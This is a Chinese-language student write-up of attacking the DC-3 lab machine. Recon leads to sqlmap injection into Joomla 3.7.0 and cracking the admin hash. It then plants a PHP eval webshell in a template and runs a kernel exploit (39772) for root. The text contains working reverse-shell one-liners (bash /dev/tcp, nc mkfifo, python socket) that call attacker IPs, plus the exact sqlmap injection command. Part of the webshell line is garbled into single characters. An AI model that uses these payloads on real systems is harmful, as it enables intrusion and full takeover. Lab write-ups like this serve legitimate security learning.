重点
本次DC-3靶机攻击的重点:
1、上传木马,获得写入文件的后门权利。
2、反弹shell。
3、利用searchsploit 查找漏洞
4、wget下载已有漏洞破解包并执行,借此提权并获得最终的root权限。
过程
i)首先,使用arp-scan -l查询网络地址,发现同一局域网段中的DC-3目标机地址。
ii)一般来说,应当需要用nmap 来获取具体开放的端口号,便于从这些端口中寻求登录的方式方法,一般来说,可用的端口号有Http的80端口,ssh的22端口号。
nmap -sS -A -p- xxxxip地址
不过,本题中只可以查询到http80端口是开放的。使用的是Apache httpd 2.4.18 ((Ubuntu))os detail,linux内核数等都会显示,不过这不重要。
iii)用dirsearch进行目录扫描,这一步可以发现服务器上搭载的可以打开的网址,能在里面找到管理员登录网址。
看了网上有各种各样的目录扫描程序和命令,不过对我来说dirsearch的命令已经习惯了,很好用。
以后也可以试试其它的目录扫描。
iiii)进入管理员登录网址,看到这里就知道,没错该sqlmap进行sql注入了。只是这个注入点真的很难找!!所以我们使用searchsploit进行历史漏洞查找。
使用searchsploit的前提是:我们已经在firefox中利用扩展服务wappalyzer知道了网站的cms内容管理服务用的是joomla,并且查找到了joomla的版本号为3.7.0,所以就可以直接searchsploit joomla 3.7.0,找到了sqlmap注入的漏洞。(不过我也不知道大家为什么一开始就知道要查joomla版本号及其漏洞。。。)
总而言之,找到了,于是用sqlmap进行爆破注入。
使用命令:earchsploit -p 42033.txt 定位漏洞文件在我们Kali机中存储的具体位置。
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt查找后得到得到漏洞的具体用法。这里可以看到是有一个给定的字段,可以进行注入。于是进行sqlmap -u ‘ip地址’ --batch --level=5 --risk=3 -dbs
Using Sqlmap:
sqlmap -u “http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
后面的-p list[fullordering]可能是sqlmap自带的字典?我不知道。
爆了两三次后,得到了最后的结果。
结束之后,我们就可以得到登录界面的用户名与密码啦!!不过其实我们还要把这个hash值加密的密码串cat到txt文件中去,再用john .txt解密一下,得到了正确的密码。(snoopy)
iiiii)到这一步时,我们所获得的也只不过是网站管理员的权限。进入网站,找到可以上传文件的地方。好像最后只能在templates里面的buzz3文件夹里,通过修改一个模板文件的方式来传入木马。(其实因为这个木马进入之后,权限还是很低,我们还是要反弹shell再进行操作,所以可以直接上传反弹shell的脚本。)
总而言之,我们先上传木马脚本:
内容是:(在随便哪个php脚本里添加上这一句就可以了!神奇的木马!…)
@eval(
R
E
Q
U
E
S
T
[
′
m
i
m
a
′
]
)
;
@
e
v
a
l
(
_REQUEST['mima']); @eval(
REQUEST[′mima′]);@eval(_POST[‘mima’]);
然后用木马后门软件蚁剑登录,添加url和mima就好,打开了网站后台的文件夹。不过并没有任何东西!cd 不到根目录去。
iiiiii)我们开始尝试进行shell反弹。(这一步其实可以替代第五步)shell反弹的脚本有很多,我没有一一试过,这里用的是:
<?php system("bash -c 'bash -i >& /dev/tcp/kali攻击机的ip地址/监听端口号 0>&1' "); ?>这样一来,每当我们向服务机(也就是靶机)上请求该文件.php时,总会执行这个文件,而将靶机的bash传入攻击机中,于是可以直接在攻击机上进行靶机的shell操作。
学会了!!(要学的太多了学废了!!)
这个脚本的各个参数具体是什么意思我还没有研究过。
应该就是调用系统函数,执行bash -c’ xxx’里面的内容,而bash的内容就是将bash -i 传入监听端口中,然后又从监听端口中传入 ??
看到网上说还有:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1 4444 >/tmp/f');?>甚至还可以
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.202.129 8888>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.202.129 8888>/tmp/f
这篇文章里有写关于反弹shell的总结https://blog.youkuaiyun.com/qq_61237064/article/details/123546254
利用nc反弹shell
本地监听2333 端口
nc -lnvp 2333
服务端反弹(下面的ip为kali的ip)
nc -e /bin/bash 192.168.40.144 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.100 2333>/tmp/f(nc无 -e功能的时候)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.16.100/2333 0>&1
利用bash反弹shell
bash -i >& /dev/tcp/192.168.61.145/2222 0>&1
利用python反弹shell
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.72.141”,444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
还可以用蚁剑查看/bin/nc目录,看看有没有nc -e命令,来确定哪些反弹可以用。
总而言之……学吧!学无止境。
iiiiiii)在反弹shell成功之后,我们一通ls cd /root之后发现啥都没有!(我们没有权限!)于是这时候要继续进行提权了。
提权利用到的是ubuntu16.04版本号自身的漏洞。
因为我们通过得到的shell对靶机进行版本搜查,找到了它是ubuntu16.04的版本。
这里版本搜查的代码是:
cat /proc/version 获得操作系统版本
cat /etc/issue 获得发行信息
searchsploit ubuntu 16.04后找到的漏洞有很多,很多,我也不知道大家是如何在浩如烟海的漏洞里挑选到了39772这个漏洞,总之searchsploit -p 39772.txt并且读取39772里面的漏洞信息,知道了我们可以在提供的url中下载漏洞利用包。于是在我们已经获得的靶机的shell中进行下载和安装操作,这时候其实39772破解包中出现的文件也很多,我也不知道大家是咋就选中了中间那个文件夹,进行./compile.sh了
不过我试了一下解压那个exploit.tar文件,很好奇里面是什么?
tar xzvf要解压的是tar.gz,(z),tar xvf解压,看到了ebpf_mapfd_doubleput_exploit
tar解压:-x 文件列表-v 查看压缩文件目录,但不解压。-C 目录 解压到指定目录
然后.compile.sh执行,就可以进入root了。
除此之外
还有很多方法和工具留待查看使用。